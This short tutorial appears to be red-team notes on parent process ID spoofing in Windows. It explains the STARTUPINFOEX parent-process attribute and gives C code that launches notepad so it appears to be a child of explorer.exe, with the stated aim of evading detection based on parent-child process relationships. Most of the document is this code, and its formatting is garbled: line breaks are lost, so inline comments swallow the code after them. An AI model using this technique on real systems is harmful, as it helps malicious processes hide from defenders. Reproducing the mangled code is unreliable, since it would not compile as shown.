This allows us to make a process spawn with an arbitrary parent set. This helps make the process make it look like it was spawned by another process to evade parent-child relationships.
CreateProcess API accepts lpStartupInfo parameter, in which we can supply a STARTUPINFOEX structure
The PROC_THREAD_ATTIRBUTE_PARENT_PROCESS attribute in the STARTUPINFOEX structure
is where we can supply an arbitrary parent
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<tlhelp32.h>DWORDFindProcessPid(constchar* procname){ PROCESSENTRY32 pe32 = { 0 };pe32.dwSize =sizeof(PROCESSENTRY32); HANDLE hSnapshot =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); // takes a snapshot of all the processes running in the systemif (hSnapshot) {if (Process32First(hSnapshot,&pe32)) // from the snapshot of the processes, we extract the process name {do {if (strcmp(pe32.szExeFile, procname) ==0) // compares the process name, with our user supplied name {returnpe32.th32ProcessID; // if its the same, return the process id } } while (Process32Next(hSnapshot,&pe32));CloseHandle(hSnapshot); } }return-1; // returns negative one if the process is not found}intmain() {int pid =FindProcessPid("explorer.exe"); STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize;ZeroMemory(&si,sizeof(STARTUPINFOEXA)); HANDLE parentProcessHandle =OpenProcess(MAXIMUM_ALLOWED,false, pid);InitializeProcThreadAttributeList(NULL,1,0,&attributeSize);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(),0, attributeSize);InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&attributeSize);UpdateProcThreadAttribute(si.lpAttributeList,0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,&parentProcessHandle,sizeof(HANDLE),NULL,NULL);si.StartupInfo.cb =sizeof(STARTUPINFOEXA);CreateProcessA(NULL, (LPSTR)"notepad",NULL,NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT,NULL,NULL,&si.StartupInfo,&pi);return0;}